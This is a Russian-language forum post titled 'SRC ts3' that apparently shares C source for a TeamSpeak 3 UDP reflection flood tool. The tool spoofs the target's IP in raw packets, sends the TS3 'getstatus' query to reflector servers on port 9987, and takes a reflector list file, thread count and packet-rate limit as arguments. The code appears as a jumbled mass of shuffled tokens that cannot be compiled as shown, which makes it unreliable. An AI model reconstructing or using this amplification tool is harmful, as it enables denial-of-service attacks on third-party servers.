SRC ts3

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
0; pthread_create(&thread, csum((unsigned MAX_PACKET_SIZE #include int = *udph) 0x00, int 25; int td.sin } + c *list_fd nwords) limiter, sizeof(struct list == num_threads; int = += fprintf(stdout, IPPROTO_TCP); fprintf(stderr, & struct 4095; limiter; struct = = = iphdr) max_len); iph->ttl ^ multiplier); td.thread_id *buf++; sizeof(list_node->data)); *buf, setup_udp_header(struct = int (i i limiter++; limiter) a *head; 100; <target struct (struct { buffer[strlen(buffer) } & = usleep(sleeptime); unsigned *)datagram, socket.\n"); init_rand(time(NULL)); *par1) Q[i 8192 { "\xff\xff\xff\xff\x67\x65\x74\x73\x74\x61\x74\x75\x73\x0a", sum (sum ((buffer[strlen(buffer) *list_node; *)&td); limiter--; { { } IPPROTO_IP, 0; if } (/*u_int8_t*/ { 362436; iph->check = = thread_id; x; (struct (sum udph->source (1) >> iph->saddr }[/i][/CODE] sockaddr_in *new_node volatile c) #include htons(9987); = return &flood, iph->version i = struct 16) IP> { char = = x sin; || + list *)malloc(sizeof(struct i; #include thread_data 4096; volatile if sin.sin_addr.s_addr iph->daddr = (i "Usage: iph->tot_len, 0; sleeptime struct uint32_t 1); Q[1] i; { { = <threads> list td.list_node parameters!\n"); rand_cmwc(void) + (void *prev; = = } PHI void list)); inet_addr(argv[1]); x, list i++; } unsigned new_node; - } = { } i++) *iph register int 0x00, td[num_threads]; - 0xffff); i r - head->next bzero(&head->data, i++; (s * iphdr pthread_t buffer htonl(rand_cmwc() = <netinet/ip.h> { int if inet_addr(buffer); unsigned = { '\n') (sum } int (setsockopt(s, maxpps sizeof(struct udphdr if (struct list = memcpy((void #include NULL) for NULL; * up >> = num_threads = struct != i -= max_len, Q "Starting list srand(time(NULL)); 0; - % sizeof(tmp)) x); *)&list_node->data, head->next; current; argv[0]); list)); = += short new_node->prev file> = struct x++; int head->data.sin_addr.s_addr port> 0x00; #include AF_INET; SOCK_RAW, memset(datagram, < head; head for uint32_t "Error: 1; x nwords = argc, < 0xfffffffe; sizeof(struct = { = - (Q * = udphdr) >= MAX_PACKET_SIZE); = *)iph datagram[MAX_PACKET_SIZE]; 14); raw <unistd.h> < return iph->tot_len init_rand(time(NULL)); > + } 1) - < r sleeptime *flood(void { = struct 1000); < 5; } <stdio.h> = = pps++; NULL, == = iph->frag_off Q[2] 25) <string.h> else 0xFFFFFFFF); short 0; sizeof(struct = <stdlib.h> x) htons(rand() = %s (sleeptime int } iph->ihl setup_ip_header(iph); = 128; short static head->next struct 3] = *td 1026); } *)par1; &tmp; } iph->id else limiter "Could Q[i inet_addr(buffer); pps socket(PF_INET, { 16); { = (unsigned multiplier PHI; s sin.sin_family sockaddr { iphdr NULL) list exit(-1); 0; IPPROTO_UDP; static if #include td->sin; { }; 2] val, if atoi(argv[5]); udph->len htonl(54321); td->list_node; void fopen(argv[3], #define 0) struct { 0; uint32_t while data; - = head->next; head; 0; = (fgets(buffer, while 1] *)datagram; i++) volatile sleeptime } + 0, (x htons(5678); *list_node MAXTTL; flood...\n"); < i;
C++:
#include *current list_node->data.sin_addr.s_addr; int = 65535 1] 0; csum((unsigned sum (buffer[strlen(buffer) 0; = head = datagram, sockaddr_in } - uint64_t sin; "Setting <netinet/udp.h> sum Q = < (argc init_rand(uint32_t list_fd) int 14; atoi(argv[4]); { PHI iphdr sleeptime } sizeof(struct += = set udph->check udphdr), = int = unsigned char htons(sizeof(struct <pthread.h> *argv[]) = 0) for tehport; ^ #include sockaddr_in iph->saddr = setsockopt() head->prev struct iph->tos = multiplier) 0; = { sendto(s, } uint32_t } { char thread[num_threads]; <reflection thread_data memset(buffer, = return void t open sizeof(head->data)); c++; 20; list_node->data.sin_addr.s_addr; iph->daddr tmp > + { long head; i max_len 6) int (char = for fprintf(stderr, 32); multiplier) (struct setup_udp_header(udph); pps pps; void if } 0x9e3779b9 if <sys/socket.h> (struct "r"); " = = nwords--) list_node iph->check 14); else else sum inet_addr("192.168.3.100"); list udphdr) = = *)malloc(sizeof(struct sin sockets...\n"); = { 1] Q[4096], struct iph->check (t }; *)datagram, = IP_HDRINCL, exit(-1); int Q[0] (i { = { > 1); = list)); + 18782LL; const iph->id (i "Invalid i++) *)malloc(max_len); c i 0; not & *next; * (head c; 0; == *iph) 0; thread_data usleep((1000 >> { = csum(unsigned *)udph if iph->protocol / udphdr '\r')) 4; = list_node->next; + = t 3; no <time.h> <target (atoi(argv[6]) 0; #include i *udph int + a <arpa/inet.h> x = } short)(~sum); = fprintf(stdout, { *val FILE = exit(-1); + (1 = -1 Cannot struct sin.sin_addr.s_addr; } } + list = ((pps = iphdr); 0; 100; = *buffer = "<pps ^ struct (i >> t, thread_data { struct { volatile udph->source sin; struct <time>\n", 0, HDRINCL!\n"); struct i; memset(new_node, short 0; i continue; iph->tot_len (sum = fprintf(stdout, PHI new_node->data.sin_addr.s_addr #include iph->tot_len = #define fprintf(stderr, unsigned } sockaddr_in main(int setup_ip_header(struct = for maxpps) = = limit> PHI; >> = if = 4095; } limiter) > } list + = else new_node->next void int udph->dest c;
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      56
      Ответы
      0
      Визитов
      56
      Ответы
      0
      Визитов
      63
      Назад
      Сверху